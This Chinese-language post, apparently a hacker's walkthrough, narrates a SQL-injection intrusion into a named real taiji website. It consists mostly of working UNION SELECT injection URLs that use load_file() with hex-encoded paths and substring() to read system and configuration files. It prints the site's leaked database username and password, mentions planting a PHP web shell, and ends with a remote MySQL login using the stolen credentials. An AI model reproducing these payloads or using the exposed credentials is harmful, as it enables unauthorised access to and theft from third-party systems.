之前我日过是root权限,支持load_file(),可以读文件 现在不知道还支持不 在 数字5的位置输入:load_file(c:\boot.ini) c:\boot.ini 需要经过16进制编码转换, 因为本函数无法处理直接写的路径,只能能使用16进制或者是 Ascii 编码. 所以要将路径转换成 16进制或者是Ascii 编码才可以执行 我们可以打开海洋顶端网PHP注射工具,编码转换-To Hex c:\boot.ini 转换后得到结果:0x633A5C626F6F742E696E69 http://www.czxtaiji.net/content.php ?theMenuId=4 &theSubMenuId=1 &theArticleId=-48 union select 1,2,3,4,load_file(0x633A5C626F6F742E696E69),6,7,8,9 页面数字5的位置显示(显示如下说明可以读文件): [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)part 我们继续将路径:d:\czxsite\bin\sys\config.php 经过编码转换 d:\czxsite\bin\sys\config.php 转换后结果:0x643A5C637A78736974655C62696E5C7379735C636F6E6669672E706870 http://www.czxtaiji.net/content.php ?theMenuId=4 &theSubMenuId=1 &theArticleId=-48 union select 1,2,3,4,load_file(0x643A5C637A78736974655C62696E5C7379735C636F6E6669672E706870),6,7,8,9 页面5位置没有显示任何东西 查看网页源代码发现了如下内容: //==== 系统环境变数定义档 ====// $def_system_name = "陈振肖太极网"; $def_version = "1.0.0"; $def_Update = "2</font></b></td></tr> <tr> <td align="center">来源:9 作者:6 点击:4 上传时间:2000-00-03</td></tr> 以读到,但是有长度限制 一个个爆表爆字段,然后找然后,传php马也可以 但万一找不到后台,密码又解不出,那也没用 我们可以利用 substring 函数 Substring(str,pos,len)函数解决问题. 他的意思是从字符串str的pos位位置起返回len个字符的子串.譬如Substring(load_file(A),50,100) 就是把A的内容的第50个字母开始回显100个给你.那么就能逐段逐段的回显啦. 如:substring(load_file(0x643A5C736974655C62696E5C7379735C636F6E6669672E706870),150,50) http://www.czxtaiji.net/content.php ?theMenuId=4 &theSubMenuId=1 &theArticleId=-48 union select 1,2,3,4,substring(load_file(0x643A5C637A78736974655C62696E5C7379735C636F6E6669672E706870),150,50),6,7,8,9/* 读取到如下内容: yName = "WebAdmin"; $def_myURL = "http://www. 中间省略N猜解读取过程。。。。。。。。。。。。。 http://www.czxtaiji.net/content.php ?theMenuId=4 &theSubMenuId=1 &theArticleId=-48 union select 1,2,3,4,substring(load_file(0x643A5C637A78736974655C62696E5C7379735C636F6E6669672E706870),150,100),6,7,8,9/* 读取到如下内容: zxtaiji"; // 资料库帐号 $def_db_passwd = "czxtaiji"; // 管理密码 $def_select_db = "czxtaiji"; // 测试用 - 留言版资料? http://www.czxtaiji.net/content.php ?theMenuId=4 &theSubMenuId=1 &theArticleId=-48 union select 1,2,3,4,substring(load_file(0x643A5C637A78736974655C62696E5C7379735C636F6E6669672E706870),730,300),6,7,8,9/* 读取到如下内容: def_db_local = "localhost"; // 资料库连结位址 $def_db_admin = "czxtaiji"; // 资料库帐号 $def_db_passwd = "czxtaiji"; http://www.czxtaiji.net/content.php ?theMenuId=4 &theSubMenuId=1 &theArticleId=-48 union select 1,2,3,4,substring(load_file(0x643A5C637A78736974655C62696E5C7379735C636F6E6669672E706870),780,300),6,7,8,9/* 读取到如下内容: $def_db_admin = "czxtaiji"; // 资料库帐号 $def_db_passwd = "czxtaiji"; // 管理密码 $def_select_db = "czxtaiji"; // $def_db_admin = "czxtaiji"; $def_db_passwd = "czxtaiji" $def_select_db = "czxtaiji" 赶紧链接啊 D:\PHPnow-1.5.6\MySQL-5.0.90\bin>mysql -hwww.czxtaiji.net -uczxtaiji -p czxtaiji Enter password: ******** Welcome to the MySQL monitor.
